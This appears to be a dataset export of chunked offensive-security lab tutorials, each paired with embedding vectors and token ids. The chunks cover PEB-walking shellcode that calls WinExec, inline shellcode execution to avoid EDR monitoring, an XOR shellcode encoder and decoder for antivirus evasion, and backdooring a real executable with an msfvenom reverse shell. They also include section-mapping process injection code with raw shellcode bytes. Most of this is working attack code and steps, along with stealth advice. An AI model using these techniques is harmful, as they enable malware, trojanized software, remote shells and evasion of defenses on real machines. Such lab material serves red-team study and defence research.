text
stringlengths
5
3.08k
embedding
list
tokens
list
database
stringclasses
5 values
file
stringlengths
5
9
chunk
int64
0
192
, [ eax + 14h ] mov [ ebp - 4h ], ecx ; store number of exported functions ; get address of exported functions table mov ecx, [ eax + 1ch ] ; get rva of exported functions table add ecx, ebx ; get address of exported functions table mov [ ebp - 8h ], ecx ; store address of exported functions table ; get address of name pointer table mov ecx, [ eax + 20h ] ; get rva of name pointer table add ecx, ebx ; get address of name pointer table mov [ ebp - 0ch ], ecx ; store address of name pointer table ; get address of functions ordinal table mov ecx, [ eax + 24h ] ; get rva of functions ordinal table add ecx, ebx ; get address of functions ordinal table mov [ ebp - 10h ], ecx ; store address of functions ordinal table ; loop through exported function name pointer table and find position of winexec xor eax, eax xor ecx, ecx findwinexecposition : mov esi, [ ebp - 14h ] ; esi = pointer to winexec mov edi, [ ebp - 0ch ] ; edi = pointer to exported function names table cld ; url mov edi, [ edi + eax * 4 ] ; get rva of the next function name in the exported function names table add edi, ebx ; get address of the next function name in the exported function names table mov cx, 8 ; tell the next - comparison instruction to compare first 8 bytes repe cmpsb ; check if esi = = edi jz winexecfound inc eax ; increase the counter cmp eax, [ ebp - 4h ] ; check if we have looped over all the exported function names jne findwinexecposition winexecfound : mov ecx, [ ebp - 10h ] ; ecx = ordinal table mov edx, [ ebp - 8h ] ; edx = export address table ; get address of winexec ordinal mov ax, [ ecx + eax * 2 ] ; get winexec ordinal mov
[ 0.5693451166152954, -0.6021333932876587, 0.30833715200424194, 0.2688148319721222, -0.31171587109565735, -0.47507262229919434, -0.7678838968276978, -0.36913976073265076, 0.06296974420547485, 0.6991549134254456, -0.06779536604881287, 0.6469184160232544, 0.22399479150772095, -0.42588573694229...
[ 1010, 1031, 19413, 2595, 1009, 2403, 2232, 1033, 9587, 2615, 1031, 1041, 2497, 2361, 1011, 1018, 2232, 1033, 1010, 14925, 2595, 1025, 3573, 2193, 1997, 15612, 4972, 1025, 2131, 4769, 1997, 15612, 4972, 2795, 9587, 2615, 14925, 2595, 1010, ...
red_team
90.txt
11
eax, [ edx + eax * 4 ] ; get rva of winexec function add eax, ebx ; get va of winexec jmp invokewinexec invokewinexec : xor edx, edx ; null byte push edx push 636c6163h ; push calc on the stack mov ecx, esp ; ecx = calc push 10 ; ucmdshow = sw _ showdefault push ecx ; lpcmdline = calc call eax ; call winexec ; clear stack add esp, 1ch ; local variables add esp, 0ch ; pushes for ebp and winexec add esp, 4h ; pushes for winexec invokation pop ebp ret main endp end mainreferencespeb _ ldr _ data ( winternl. h ) - win32 appsdocsmsftlocating dll name from the process environment block ( peb ) | 0xevilc0de. com0xevilc0de. comwin32 thread information blockwikipediawinexec function ( winbase. h ) - win32 appsdocsmsftx86 disassembly / functions and stack frames - wikibooks, open books for an open worldbasics of windows shellcode writingring 0x00previoussetwindowhookex code injection [SEP]
[ -0.36568599939346313, 0.1332228183746338, 0.25184693932533264, 0.1906753033399582, -0.4549471139907837, -0.8186323642730713, -0.1876004934310913, 0.12272343784570694, -0.17814625799655914, 0.8744560480117798, 0.25370287895202637, 0.07489541918039322, 0.3908463418483734, -0.7598473429679871...
[ 19413, 2595, 1010, 1031, 3968, 2595, 1009, 19413, 2595, 1008, 1018, 1033, 1025, 2131, 27634, 2050, 1997, 4511, 2595, 8586, 3853, 5587, 19413, 2595, 1010, 1041, 2497, 2595, 1025, 2131, 12436, 1997, 4511, 2595, 8586, 1046, 8737, 1999, 6767, ...
red_team
90.txt
12
[CLS] executing shellcode with inline assembly in c / c + + it's possible to execute shellcode inline in a c / c + + program. the reason why it's good to have this technique in your arsenal is because it does not require you to allocate new rwx memory to copy your shellcode over to by using virtualalloc api which is heavily monitored by edrs and can get you caught. instead, the code will get embedded into the pe's. text section which is executable by default as this is where the rest of your application's code resides. executioninstall mingw - i'm doing it via chocolatey pacakge manager : choco install mingwcreate a simple c program that includes the shellcode. in my case, i'm simply adding 4 nop instructions and prior to that, i am printing out the string spotless, so i can easily identify the shellcode location when debugging the program : inline - shellcode. c # include < windows. h > # include < stdio. h > int main ( ) { printf ( " spotless " ) ; asm ( ". byte 0x90, 0x90, 0x90, 0x90 \ n \ t " " ret \ n \ t " ) ; return 0 ; } let's compile and link the code : gcc - c. \ inline - shellcode. c - o main. o ; g + +. exe. \ main. o - o. \ main. exedebugging the code via xdbg, we can see where the string spotless is going to be printed out and straight after it, we have the 4 nop instructions : referencesgithub - mr - un1k0d3r / shellcoding : shellcoding utilitiesgithubpreviousfinding kernel32 base and function addresses in shellcode [SEP]
[ -0.5250508189201355, 0.42963579297065735, 0.15438884496688843, 0.0461452379822731, 0.0532468780875206, -0.6979632377624512, -0.04930606856942177, -0.2110464721918106, -0.3647840917110443, 0.8678120374679565, 0.039588555693626404, 0.5672754645347595, -0.09315726161003113, -0.144558534026145...
[ 101, 23448, 5806, 16044, 2007, 23881, 3320, 1999, 1039, 1013, 1039, 1009, 1009, 2009, 1005, 1055, 2825, 2000, 15389, 5806, 16044, 23881, 1999, 1037, 1039, 1013, 1039, 1009, 1009, 2565, 1012, 1996, 3114, 2339, 2009, 1005, 1055, 2204, 2000, ...
red_team
91.txt
0
[CLS] writing custom shellcode encoders and decodersthe purpose of this lab is to get a bit more comfortable with writing primitive custom shellcode encoders and decoders. shellcode encoding simply means transforming original shellcode bytes into a set of arbitrary bytes by following some rules ( encoding scheme ), that can be later be reverted back to their original values by following the same rules ( decoding scheme ) in reverse. shellcode encoding may be useful in evading static antivirus signatures and eliminating null bytes. encoderraw shellcodeto make it simple, for this lab, let's imagine that our raw shellcode ( before encoding ) is made of the following bytes : $ shellcode = 0x6f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x61, 0x6c, 0x20, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65... which is actually just a simple string original shellcode as you can see here : encoding schemenow that we have the raw shellcode bytes, we need to decide on the algorithm that defines how each byte of the raw shellcode should be encoded / transformed. there's many ways to do it, but for this lab, let's define our encoding steps like this : 1. xor with 0x552. increment by 13. xor with 0x11the encoder itselflet's write a simple powershell script that will help us cycle through the raw shellcode bytes and encode them by performing operations defined in our encoding scheme : < # encoding steps : 1. xor with 0x55 2. increment by 1 3. xor with 0x11 # > # original raw shellcode bytes $ shellcode = 0x6f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x61, 0x6c, 0x20, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65 $ printfriendly = ( $ shellcode | foreach - object tostring x2 ) -
[ -0.0735522210597992, 0.4254765510559082, 0.1476176679134369, 0.022084692493081093, -0.10659025609493256, -0.9025387763977051, -0.6155048608779907, 0.22758030891418457, -0.2305634766817093, 1.4006524085998535, 0.44481104612350464, 0.4159267246723175, 0.42280393838882446, -0.7046142220497131...
[ 101, 3015, 7661, 5806, 16044, 4372, 16044, 2869, 1998, 21933, 13375, 10760, 3800, 1997, 2023, 6845, 2003, 2000, 2131, 1037, 2978, 2062, 6625, 2007, 3015, 10968, 7661, 5806, 16044, 4372, 16044, 2869, 1998, 21933, 13375, 1012, 5806, 16044, 17...
red_team
92.txt
0
join ', 0x'write - host " original shellcode : 0x $ printfriendly " # iterate through shellcode bytes and encode them $ encodedshellcode = $ shellcode | % { $ _ = $ _ - bxor 0x55 $ _ = $ _ + 0x1 $ _ = $ _ - bxor 0x11 write - output $ _ } # print encoded shellcode $ printfriendly = ( $ encodedshellcode | foreach - object tostring x2 ) - join ', 0x'write - host " encoded shellcode : 0x $ printfriendly " # print encoded bytes sizewrite - host " size : " ('0x { 0 : x }'- f $ shellcode. count ) # check if encoded shellcode contains null byteswrite - host " contains null - bytes : " $ encodedshellcode. contains ( 0 ) if we run the encoder on our shellcode bytes 0x6f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x61, 0x6c, 0x20, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, it will spit out the encoded shellcode bytes ( lime ) and show if null bytes were found ( lime ) : note that it also shows the shellcode size ( orange ) - we will need it later when writing a decoder, so that we can tell the decoder how many shellcode bytes it should process. decoderdecoding schemethe decoding scheme is the same as the encoding scheme, only in reverse :... which means that we will have to iterate through all the encoded bytes of the shellcode and transform them into original bytes like this : 1. xor with 0x112. decrement by 0x1 ( because we incremented when encoding, we need to decrement now ) 3. xor with 0x55a fully commented nasm decoder. asm is here : decoder. asmglobal _ startsection. text _ start : jmp short shellcode decoder : pop rax ; store encodedshellcode address in rax - this is the address that we will jump to once all the
[ 0.35932090878486633, 0.3550594449043274, 0.4526415169239044, 0.2635453939437866, -0.23543357849121094, -0.6934253573417664, -0.2932928502559662, 0.12169194966554642, 0.03104497492313385, 0.5776553153991699, 0.10150978714227676, -0.003413886297494173, 0.523197591304779, -0.4170500338077545,...
[ 3693, 1005, 1010, 1014, 2595, 1005, 4339, 1011, 3677, 1000, 2434, 5806, 16044, 1024, 1014, 2595, 1002, 6140, 19699, 9013, 18718, 1000, 1001, 2009, 22139, 2083, 5806, 16044, 27507, 1998, 4372, 16044, 2068, 1002, 12359, 4095, 5349, 16044, 102...
red_team
92.txt
1
bytes in the encodedshellcode have been decoded setup : xor rcx, rcx ; reset rcx to 0, will use this as a loop counter mov rdx, 0x12 ; shellcode size is 18 bytes decoderstub : cmp rcx, rdx ; check if we've iterated and decoded all the encoded bytes je encodedshellcode ; jump to the encodedshellcode, which actually now contains the decoded shellcode ; encodedshellcode bytes are being decoded here per our decoding scheme xor byte [ rax ], 0x11 ; 1. xor byte with 0x11 dec byte [ rax ] ; 2. decremenet byte by 1 xor byte [ rax ], 0x55 ; 3. xor byte with 0x55 inc rax ; point rax to the next encoded byte in encodedshellcode inc rcx ; increase loop counter jmp short decoderstub ; repeat decoding procedure shellcode : call decoder ; jump to decoder label. this pushes the address of encodedshellcode to the stack ( to be popped into rax as the first instruction under the decoder label ) encodedshellcode : db 0x2a, 0x39, 0x2c, 0x22, 0x2c, 0x2d, 0x24, 0x2b, 0x67, 0x36, 0x2f, 0x20, 0x2b, 0x2b, 0x26, 0x2a, 0x23, 0x20note that line 12 contains the shellcode size - 0x12 - the value that was printed out by our encoder. ps1assembling the decoderlet's assemble our decoder. asm with nasm : nasm - f win64. \ decoder. asm - o. \ decoderextracting decoder op - codesthe decoder file assembled in the previous step, contains our decoder's bytes / op - codes ( and our encoded shellcode ) that can be executed by the cpu once in process's executable memory. we need to extract them if we want to inject and execute those bytes as shellcode. for the sake of simplicity, let's do this manually by loading the assembled decoder file into the cff explorer's quick disassembler and compare it with our assembly
[ 0.3999711871147156, 0.1472616046667099, 0.25412124395370483, 0.7065625786781311, 0.041086792945861816, -0.6964760422706604, -0.23719844222068787, -0.07611489295959473, -0.34056830406188965, 0.9205641746520996, 0.47576355934143066, 0.3197857737541199, -0.2520616948604584, -0.432584404945373...
[ 27507, 1999, 1996, 12359, 4095, 5349, 16044, 2031, 2042, 21933, 5732, 16437, 1024, 1060, 2953, 22110, 2595, 1010, 22110, 2595, 1025, 25141, 22110, 2595, 2000, 1014, 1010, 2097, 2224, 2023, 2004, 1037, 7077, 4675, 9587, 2615, 16428, 2595, 10...
red_team
92.txt
2
instructions in decoder. asm. we can clearly see that the op - codes of our decoder start at 0x3c into the file assembled file : let's switch to the hex editor and we can copy ( right click on the selected bytes ) the decoder bytes ( for this lab, we will go with a hex format ), starting at 0x3c ( blue ) and ending with the last byte of our encoded shellcode 0x20 ( red ) : confirming it workednow that we've extracted our decoder's ( that includes our encoded shellcode ) op - codes, let's check if we can make them execute and see our encoded shellcode get decoded and launched. reminder our decoded shellcode will not execute as it's simply an ascii string original shellcode, but it would if it was actual executable code. to keep things simple, let's fire up x64dbg and attach it to a new instance of notepad. exe - this is the process that we will be executing our decoder in - and hit f9 so that we break at the entry point : changing memory permissionsonce at the entry point, let's change the memory permissions for the. text section, so we can demo this decoder : 1. right click the instruction address and follow in memory map2. right click the. text section and set page memory rights3. ensure select full access is selected and hit set rightspasting the bytesonce the permissions are set, jump to the. text section with right click + follow in disassembler : select enough instructions that could be replaced with our shellcode bytes, hit ctrl + e ( binary edit ) and paste the extracted decoder op - codes there : changing ripset the instruction pointer rip to the location we've just pasted our shellcode to : following memory dumplet's now follow the same address we've pasted the bytes to in the memoy dump too, so we can see how our shellcode is getting decoded as we step through the decoding stub : decoding in actionwe can finally execute our decoder by repeatedly hitting f7 and observe how our shellcode gets decoded and the initial string original shellcode is being revealed in the memory dump view : note that after the decoding has completed, the code is transferred to our decoded shellcode : previousexecuting shellcode with inline assembly in c /
[ -0.25202620029449463, -0.12904125452041626, -0.3711027503013611, 0.2413942813873291, 0.163181334733963, -0.8348637819290161, -0.12615512311458588, 0.11156898736953735, -0.06503605842590332, 0.8839081525802612, -0.4131012260913849, 1.0481048822402954, -0.19954819977283478, -0.51144230365753...
[ 8128, 1999, 21933, 4063, 1012, 2004, 2213, 1012, 2057, 2064, 4415, 2156, 2008, 1996, 6728, 1011, 9537, 1997, 2256, 21933, 4063, 2707, 2012, 1014, 2595, 2509, 2278, 2046, 1996, 5371, 9240, 5371, 1024, 2292, 1005, 1055, 6942, 2000, 1996, 20...
red_team
92.txt
3
c + + [SEP]
[ -0.21351316571235657, -0.4606579542160034, -0.19453494250774384, 0.42480897903442383, 0.29620063304901123, -0.4760620892047882, -0.20248471200466156, 1.3297096490859985, 0.5704425573348999, 0.8459516167640686, 0.5729284882545471, 0.4382387697696686, 0.4218969941139221, -0.28386154770851135...
[ 1039, 1009, 1009, 102 ]
red_team
92.txt
4
[CLS] backdooring pe files with shellcodethe purpose of this lab is to learn the portable executable ( pe ) backdooring technique by adding a new readable / writable / executable code section with our malicious shellcode to any portable executable file. high level process of this technique : add a new rwx pe section, big enough to hold our shellcode, to any. exe file generate shellcodeadd shellcode to the newly created pe sectionredirect execution flow of the. exe file being backdoored to the shellcoderedirect execution flow back to the legitimate. exe instructionsthe last two steps are a bit more complicated and will have more details below. groundworkgenerate shellcodefirst of, let's generate the shellcode so we know how many bytes of space we will need in the new pe section : msfvenom - p windows / shell _ reverse _ tcp lhost = 10. 0. 0. 5 lport = 443 | hexdump - cnote that the shellcode size is 324 bytes - the new pe section will have to be at least that big. new pe code sectioni randomly chose bginfo. exe from sysinternals as a binary to be backdoored. let's add a new pe section called. code1 that will contain our shellcode - note the size is 200h bytes, so plenty for our shellcode which was only 324 bytes : note the raw address of the new section which is cd200 - this is where we will place the shellcode inside the file in later steps. let's make the new pe section writable / executable and mark it as contains code using cff explorer : inserting shellcodelet's copy the shellcode over to the new code section, starting at 0xcd200 into the file : testing the shellcodelet's see if we can force the bginfo. exe binary to execute our shellcode using debugger first. we need to find the base address of bginfo. exe, which we see is 0x00400000 : since the new section. code1 that holds our shellcode has an rva 000d8000, we can find the shellcode in a running process at 00400000 + 00d8000 = 4d8000. below shows that the bytes at cd200 ( file offset ) match those at 4d80
[ 0.3290826678276062, 0.14840292930603027, 0.11665003001689911, 0.45871713757514954, -0.18997475504875183, -0.5363318920135498, -0.16502654552459717, 0.457044780254364, -0.3573598861694336, 0.7288122177124023, -0.08169007301330566, 0.17214909195899963, 0.5868048071861267, -0.5665625929832458...
[ 101, 2067, 23835, 2075, 21877, 6764, 2007, 5806, 16044, 10760, 3800, 1997, 2023, 6845, 2003, 2000, 4553, 1996, 12109, 4654, 8586, 23056, 1006, 21877, 1007, 2067, 23835, 2075, 6028, 2011, 5815, 1037, 2047, 3191, 3085, 1013, 25697, 3085, 1013...
red_team
93.txt
0
##00 while the bginfo. exe is running : when debugging the binary, if we set the eip to point to 4d8000 and let the debugger run, if we have a listener on the attacking system, we get the reverse shell which confirms that we can successfully execute the shellcode if we manage to redirect the code execution flow of bginfo. exe : in the above screenshot, pushad and pushdf are the first instructions at 4d8000 - it's not shown in this lab how those two instructions were inserted there, but there is no magic - just add bytes 60 9c before the shellcode at 0xcd200 in the bginfo and you're set. redirecting code execution flowin previous paragraph we confirmed the shellcode can be executed, but we did this manually, with help of a debugger. now let's patch the binary, so that the process is automated and does not require our intervention. the process of patching the binary to redirect the code execution flow is as follows : 1. find the first instruction that is 5 bytes in size inside the bginfo. exe binary 1. we will overwrite this instruction with a jump to the shellcode as explained in step 2 2. prior to overwriting this instruction, write it down somewhere - we will need to append it to our shellcode later in order to restore the code execution flow3. write down the address of the next instruction to be executed next - after the shellcode has been executed, stack and registers restored, we will jump back to this address to let the bginfo. exe continue as normal2. overwrite the instruction in step 1 with a jump to the shellcode at 4d80003. save registers'and flags'state by prepending the shellcode with pushad and pushfd instructions - we do this so we can restore their state before redirecting the execution back to bginfo. exe and avoid any crashes4. remember the esp register value - we will need this when calculating by how much the stack size grew during the shellcode execution. this is required in order to restore the stack frame before redirecting the code execution back to bginfo. exe5. modify the shellcode : 1. make sure that waitforsingleobject does not wait indefinitely and does not freeze bginfo. exe once the shellcode is executed2.
[ 0.6166354417800903, -0.10969353467226028, -0.5221394300460815, 0.3317490816116333, -0.03895772248506546, -0.6997255682945251, 0.08192804455757141, 0.04715606942772865, 0.1141284927725792, 0.4933624565601349, -0.16100655496120453, 0.22895053029060364, 0.646051824092865, -0.6653124094009399,...
[ 8889, 2096, 1996, 1038, 11528, 14876, 1012, 4654, 2063, 2003, 2770, 1024, 2043, 2139, 8569, 12588, 1996, 12441, 1010, 2065, 2057, 2275, 1996, 1041, 11514, 2000, 2391, 2000, 1018, 2094, 17914, 8889, 1998, 2292, 1996, 2139, 8569, 13327, 2448,...
red_team
93.txt
1
remove the last instruction of the shellcode call ebp to prevent the shellcode from shutting down of bginfo. exe6. note the esp value and the end of shellcode execution - this is related to point 4 and 7 7. restore the stack pointer esp to what it was after the shellcode executed pushad and pushfd as explained in step 3, with add esp, < esp _ post _ shellcode - esp _ pre _ shellcode >. this is where esps from point 4 and 7 comes in to play8. restore registers with popfd and popad9. append the shellcode with the instruction we had overwritten in step 110. restore code execution back to bginfo by jumping back to the next instruction after the owerwritten one as explained in 1. 3overwriting 5 byte instructionlet's now hijack the bginfo. exe code execution flow by overwriting any instruction that is 5 bytes in size - again - this is how many bytes we need for a jmp address instruction. one of the first 5 - byte instructions we can see is mov edi, bb40e64e at 00467b29 : important we are about to overwrite the instruction mov edi, 0xbb40e64e at 00467b29, hence we need to remember it for later as explained in 1. 2. let's overwrite the instruction at 00467b29 with an instruction jmp 0x004d8000 which will make the bginfo jump to our shellcode located at 0x004d8000 when executed : important remember the address of the next instruction after 0046b29, which is 0467b2e - this is the address we will jump back after the shellcode has executed in order to resume bginfo. there are multiple ways to overwrite the instructions at 00467b29 - either assemble the bytes using a debugger or patch the binary via a hex editor which is what i did. i found the bytes bf 4e e6 40 bb ( bytes found at 00467b29 when bginfo is in memory ) in the bginfo. exe ( screenshot below ) and replaced them with bytes e9 d2 04 07 00 which translates to jmp bgfinfo. d48000 ( jump to our shellcode, above screenshot ). below shows how the code red
[ 0.46473732590675354, -0.005727495066821575, 0.19141288101673126, 0.1662946343421936, 0.05674903839826584, -1.2832601070404053, -0.1078716292977333, -0.08040664345026016, 0.08833493292331696, 0.245903879404068, -0.36186325550079346, 0.3369411826133728, 0.7062203884124756, -0.742374718189239...
[ 6366, 1996, 2197, 7899, 1997, 1996, 5806, 16044, 2655, 1041, 2497, 2361, 2000, 4652, 1996, 5806, 16044, 2013, 17521, 2091, 1997, 1038, 11528, 14876, 1012, 4654, 2063, 2575, 1012, 3602, 1996, 9686, 2361, 3643, 1998, 1996, 2203, 1997, 5806, ...
red_team
93.txt
2
##irection works and we jump to 4d8000 ( shellcode ) location once we hit the instruction at 00467b29 : if we try running the patched binary now, we can see it results in a reverse shell, however the bginfo. exe itself is not visible - we will need to fix that : patching shellcodepatching waitforsingleobjectthe reason the bginfo. exe is not showing any ui is because the thread is blocked by the shellcode call to waitforsingleobject function ( see definition below ). it's called with an argument infinite ( - 1 or 0xffffffff ), meaning the thread will be blocked forever. waitforsingleobject definition : dword waitforsingleobject ( handle hhandle, dword dwmilliseconds ) ; the below screenshot shows that eax points to waitforsingleobject which is going to be jumped to with jmp eax at 004d8081. note the stack - it contains the thread handle ( 28c ) to block and the wait time ffffffff = = infinite which is the second argument for waitforsingleobject : instruction dec esi at 004d811b changes esi value to - 1 ( currently esi = 0 ), which is the value pushed to the stack as an argument dwmilliseconds for waitforsignaledobject : let's nop that instruction, so that esi stays unchanged at 0, which means that waitforsingleobject will wait 0 seconds before unblocking the ui : restoring stack frame & jumping backnext, we need to patch the call ebp instruction at 004d8144 if we don't want the shellcode to close the bginfo. exe process : we will do this by replacing this instruction with an instruction that will restore our stack frame pointer esp to what it was before we started executing our shellcode, but after we executed pushad and pushfd instructions as mentioned in point 7. from earlier, the esp after pushad and pushfd was 0019ff30 : esp after executing the shellcode was 0019fd2c : which means that the stack grew by 204h bytes : 0019ff30−0019fd2c = 0x2040019ff30 - 0019fd2c = 0
[ 0.2312213033437729, -0.28902187943458557, -0.3941895067691803, 0.4852621257305145, 0.18552209436893463, -0.6846114993095398, 0.06049901247024536, 0.0077399881556630135, 0.06842035800218582, 0.6063276529312134, -0.21348387002944946, 0.05844300612807274, 0.5279145836830139, -0.40682998299598...
[ 7442, 7542, 2573, 1998, 2057, 5376, 2000, 1018, 2094, 17914, 8889, 1006, 5806, 16044, 1007, 3295, 2320, 2057, 2718, 1996, 7899, 2012, 4002, 21472, 2581, 2497, 24594, 1024, 2065, 2057, 3046, 2770, 1996, 8983, 2098, 12441, 2085, 1010, 2057, ...
red_team
93.txt
3
##x2040019ff30−0019fd2c = 0x204knowing all of the above, we need to : restore the stack by increasing the esp by 0x204 bytesrestore registers and flags with popfd and popadre - introduce the instruction we previously had overwritten with a jump to our shellcodejump back to the next instruction after the overwritten instruction that made the jump to the shellcodeall the above steps in assembly would be : add esp, 0x204popfdpopadmov edi, 0xbb40e64ejmp 0x00467b2ethe below screenshot shows the very end of the shellcode with the above instructions encircled : backdoor demoif we save the patched binary and launch it - we can see that the reverse shell gets popped and the bginfo. exe is launched successfully : final notethis technique is not particularly stealthy. rather than adding a new code section to the binary, it's better to attempt locating large spaces of unused bytes inside existing code sections, called code caves. to further improve stealthiness of this technique, you may want to consider encoding / encrypting your shellcode and executing it when user performs certain interaction with the binary you are backdooring, for example, invokes help > about dialog box. references [ backdoor 101 ] backdooring pe file by adding new section headerhack. learn. sharepe section header injection using code cavemediumart of anti detection 2 & # 8211 ; pe backdoor manufacturingpentest blogwaitforsingleobject function ( synchapi. h ) - win32 appsdocsmsftpreviouswriting custom shellcode encoders and decoders [SEP]
[ -0.24502550065517426, -0.363974004983902, -0.07538203150033951, 0.33273783326148987, -0.03993283957242966, -0.3887299597263336, -0.48497405648231506, 0.15691053867340088, -0.3618622422218323, 0.7803310751914978, 0.33545365929603577, -0.06399451941251755, 0.2437959909439087, -0.345132201910...
[ 2595, 11387, 29537, 16147, 4246, 14142, 22543, 8889, 16147, 2546, 2094, 2475, 2278, 1027, 1014, 2595, 11387, 2549, 2243, 19779, 2075, 2035, 1997, 1996, 2682, 1010, 2057, 2342, 2000, 1024, 9239, 1996, 9991, 2011, 4852, 1996, 9686, 2361, 2011...
red_team
93.txt
4
[CLS] ntcreatesection + ntmapviewofsection code injectionoverviewthis lab is for a code injection technique that leverages native apis ntcreatesection, ntmapviewofsection and rtlcreateuserthread. section is a memory block that is shared between processes and can be created with ntcreatesection api before a process can read / write to that block of memory, it has to map a view of the said section, which can be done with ntmapviewofsectionmultiple processes can read from and write to the section through the mapped viewshigh level overwiew of the technique : create a new memory section with rwx protectionmap a view of the previously created section to the local malicious process with rw protectionmap a view of the previously created section to a remote target process with rx protection. note that by mapping the views with rw ( locally ) and rx ( in the target process ) we don't need to allocate memory pages with rwx, which may be frowned upon by some edrs. fill the view mapped in the local process with shellcode. by definition, the mapped view in the target process will get filled with the same shellcodecreate a remote thread in the target process and point it to the mapped view in the target process to trigger the shellcodeexecutionlet's create a new memory section in the local process, that will have rwx access rights set : fntcreatesection ( & sectionhandle, section _ map _ read | section _ map _ write | section _ map _ execute, null, ( plarge _ integer ) & sectionsize, page _ execute _ readwrite, sec _ commit, null ) ; we can see the section got created and we obtained its handle 0x88 : let's create an rw view of the section in our local process and obtain its address which will get stored in localsectionaddress : fntmapviewofsection ( sectionhandle, getcurrentprocess ( ), & localsectionaddress, null, null, null, & size, 2, null, page _ readwrite ) ; let's create another view of the same section in a target process ( notepad. exe pid 6572 in our case ), but this time with rx protection. the memory address of the view will get stored in remotesectionaddress variable
[ -0.2875756323337555, -0.578148365020752, 0.3103667199611664, 0.43823209404945374, -0.28027820587158203, -0.49775147438049316, -0.09496943652629852, 0.005595570895820856, -0.1645190417766571, 0.5516403317451477, -0.34239402413368225, -0.080268993973732, 0.5963858366012573, 0.172540247440338...
[ 101, 23961, 16748, 8520, 18491, 1009, 23961, 2863, 2361, 8584, 11253, 29015, 3642, 13341, 7840, 8584, 15222, 2015, 6845, 2003, 2005, 1037, 3642, 13341, 6028, 2008, 21155, 2015, 3128, 17928, 2015, 23961, 16748, 8520, 18491, 1010, 23961, 2863, ...
red_team
94.txt
0
: we can now copy the shellcode into our localsectionaddress, which will get automatically mirrored / reflected in the remotesectionaddress as it's a view of the same section shared between our local and target processes : memcpy ( localsectionaddress, buf, sizeof ( buf ) ) ; below shows how the localsectionaddress gets filled with the shellcode and at the same time the remotesectionaddress at 0x000002614ed50000 inside notepad ( on the right ) gets filled with the same shellcode : we can now create a remote thread inside the notepad. exe and make the remotesectionaddress its start address in order to trigger the shellcode : frtlcreateuserthread ( targethandle, null, false, 0, 0, 0, remotesectionaddress, null, & targetthreadhandle, null ) ; code # include < iostream > # include < windows. h > # pragma comment ( lib, " ntdll " ) typedef struct _ lsa _ unicode _ string { ushort length ; ushort maximumlength ; pwstr buffer ; } unicode _ string, * punicode _ string ; typedef struct _ object _ attributes { ulong length ; handle rootdirectory ; punicode _ string objectname ; ulong attributes ; pvoid securitydescriptor ; pvoid securityqualityofservice ; } object _ attributes, * pobject _ attributes ; typedef struct _ client _ id { pvoid uniqueprocess ; pvoid uniquethread ; } client _ id, * pclient _ id ; using myntcreatesection = ntstatus ( ntapi * ) ( out phandle sectionhandle, in ulong desiredaccess, in pobject _ attributes objectattributes optional, in plarge _ integer maximumsize optional, in ulong pageattributess, in ulong sectionattributes, in handle filehandle optional ) ; using myntmapviewofsection = ntstatus ( ntapi * ) ( handle sectionhandle, handle processhandle, pvoid * baseaddress, ulong _ ptr zerobits, size _ t commitsize, plarge _ integer sectionoffset, psize
[ 0.257402628660202, 0.27060702443122864, -0.4242170453071594, 0.5401125550270081, 0.2202037274837494, -0.7911422252655029, -0.19867543876171112, -0.4561925232410431, -0.37710559368133545, 0.6523693203926086, -0.034492939710617065, 0.32679760456085205, 0.41275882720947266, -0.448373943567276...
[ 1024, 2057, 2064, 2085, 6100, 1996, 5806, 16044, 2046, 2256, 10575, 18491, 4215, 16200, 4757, 1010, 2029, 2097, 2131, 8073, 22243, 1013, 7686, 1999, 1996, 6556, 29015, 4215, 16200, 4757, 2004, 2009, 1005, 1055, 1037, 3193, 1997, 1996, 2168,...
red_team
94.txt
1
_ t viewsize, dword inheritdisposition, ulong allocationtype, ulong win32protect ) ; using myrtlcreateuserthread = ntstatus ( ntapi * ) ( in handle processhandle, in psecurity _ descriptor securitydescriptor optional, in boolean createsuspended, in ulong stackzerobits, in out pulong stackreserved, in out pulong stackcommit, in pvoid startaddress, in pvoid startparameter optional, out phandle threadhandle, out pclient _ id clientid ) ; int main ( ) { unsigned char buf [ ] = " \ xfc \ x48 \ x83 \ xe4 \ xf0 \ xe8 \ xcc \ x00 \ x00 \ x00 \ x41 \ x51 \ x41 \ x50 \ x52 \ x51 \ x56 \ x48 \ x31 \ xd2 \ x65 \ x48 \ x8b \ x52 \ x60 \ x48 \ x8b \ x52 \ x18 \ x48 \ x8b \ x52 \ x20 \ x48 \ x8b \ x72 \ x50 \ x48 \ x0f \ xb7 \ x4a \ x4a \ x4d \ x31 \ xc9 \ x48 \ x31 \ xc0 \ xac \ x3c \ x61 \ x7c \ x02 \ x2c \ x20 \ x41 \ xc1 \ xc9 \ x0d \ x41 \ x01 \ xc1 \ xe2 \ xed \ x52 \ x41 \ x51 \ x48 \ x8b \ x52 \ x20 \ x8b \ x42 \ x3c \ x48 \ x01 \ xd0 \ x66 \ x81 \ x78 \ x18 \ x0b \ x02 \ x0f \ x85 \ x72 \ x00 \ x00 \ x00 \ x8b \ x80 \ x88 \ x00 \ x00 \ x00 \ x48 \ x85 \ xc0 \ x74 \ x67 \ x48 \ x01 \ xd0 \ x50 \ x8b \ x48 \ x18 \ x44
[ -0.14800642430782318, -0.14309576153755188, -0.438926100730896, 0.7605052590370178, -0.48166343569755554, -0.33037909865379333, -0.557733952999115, 0.13426795601844788, 0.8841801881790161, 0.48987463116645813, 0.01815507560968399, -0.4515620470046997, 0.21396327018737793, -0.18474875390529...
[ 1035, 1056, 5328, 4697, 1010, 1040, 18351, 22490, 10521, 26994, 1010, 17359, 5063, 16169, 13874, 1010, 17359, 5063, 2663, 16703, 21572, 26557, 2102, 1007, 1025, 2478, 2026, 5339, 15472, 29313, 20330, 2705, 16416, 2094, 1027, 23961, 9153, 5809...
red_team
94.txt
2
